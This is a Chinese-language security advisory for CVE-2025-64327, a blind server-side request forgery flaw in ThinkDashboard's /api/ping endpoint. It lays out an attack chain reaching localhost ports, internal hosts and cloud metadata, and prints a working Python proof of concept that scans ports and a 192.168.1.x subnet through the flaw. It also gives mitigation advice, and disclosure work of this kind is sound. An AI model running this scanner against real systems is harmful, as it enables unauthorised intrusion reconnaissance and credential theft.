IPBUF安全漏洞报告
English
CVE-2025-64327 CVSS 5.3 中危

CVE-2025-64327 ThinkDashboard 盲SSRF漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-64327
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ThinkDashboard

相关标签

SSRFThinkDashboardGo书签仪表板CVE-2025-64327盲SSRF内网探测0.6.7及以下版本

漏洞概述

ThinkDashboard是一款使用Go语言和原生JavaScript构建的自托管书签仪表板。该产品在0.6.7及以下版本中存在一处Blind Server-Side Request Forgery(盲服务端请求伪造)漏洞,漏洞位于/api/ping接口的url参数处。攻击者无需任何认证即可利用此漏洞,通过构造恶意URL参数,迫使服务器向任意内部或外部主机发起HTTP请求。由于是盲SSRF,攻击者无法直接获取响应内容,但可以通过请求的延迟、响应时间差异或DNS查询等方式推断内部网络状况。此漏洞可被用于探测本地服务器开放的端口、发现内网中的其他主机及其开放端口,从而为进一步的攻击提供情报支持。在某些配置下,还可能利用此漏洞访问内部服务或云元数据接口,窃取敏感信息。

技术细节

漏洞存在于ThinkDashboard的/api/ping端点,该端点接收url参数后直接使用Go语言的http.Get或类似函数发起HTTP请求,而未对用户输入的URL进行充分的验证和过滤。攻击者可以通过以下方式利用此漏洞:1) 探测内网服务:构造如http://127.0.0.1:port的请求,通过响应时间判断端口是否开放;2) 访问云元数据:尝试访问云服务商提供的元数据端点如http://169.254.169.254/;3) 扫描内网主机:替换IP地址扫描整个内网网段;4) 发起二次攻击:将受害者服务器作为代理,对内部系统进行扫描或攻击。由于服务器会等待目标主机的响应(无论是连接超时还是收到响应),攻击者可以通过计时分析来判断请求是否成功,从而获取内网信息。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点使用ThinkDashboard且版本<=0.6.7
STEP 2
步骤2
访问/api/ping端点,该端点接受url参数但未进行安全过滤
STEP 3
步骤3
构造恶意URL请求内部服务,如http://127.0.0.1:port,探测本地开放端口
STEP 4
步骤4
通过响应时间差异判断端口状态(快速响应=开放,超时=关闭)
STEP 5
步骤5
利用获得的端口信息,进一步探测内网其他主机和服务
STEP 6
步骤6
如发现云元数据接口或其他敏感服务,可进一步利用获取凭据或敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time target = "http://target.com/api/ping" # 探测本地端口 def check_port(port): payload = { "url": f"http://127.0.0.1:{port}" } start = time.time() try: response = requests.get(target, params=payload, timeout=3) elapsed = time.time() - start return elapsed < 2.5 # 如果快速返回,说明端口开放 except: return False # 扫描常见端口 common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443] for port in common_ports: if check_port(port): print(f"Port {port} is open") # 探测内网主机 for i in range(1, 255): payload = { "url": f"http://192.168.1.{i}:80" } start = time.time() try: response = requests.get(target, params=payload, timeout=2) if time.time() - start < 1.5: print(f"Host 192.168.1.{i} is reachable") except: pass

影响范围

ThinkDashboard <= 0.6.7

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对/api/ping端点的访问,或使用Nginx等反向代理对该端点进行访问控制,阻止用户传入任意URL参数。同时监控服务器的外向连接日志,及时发现异常的SSRF探测行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表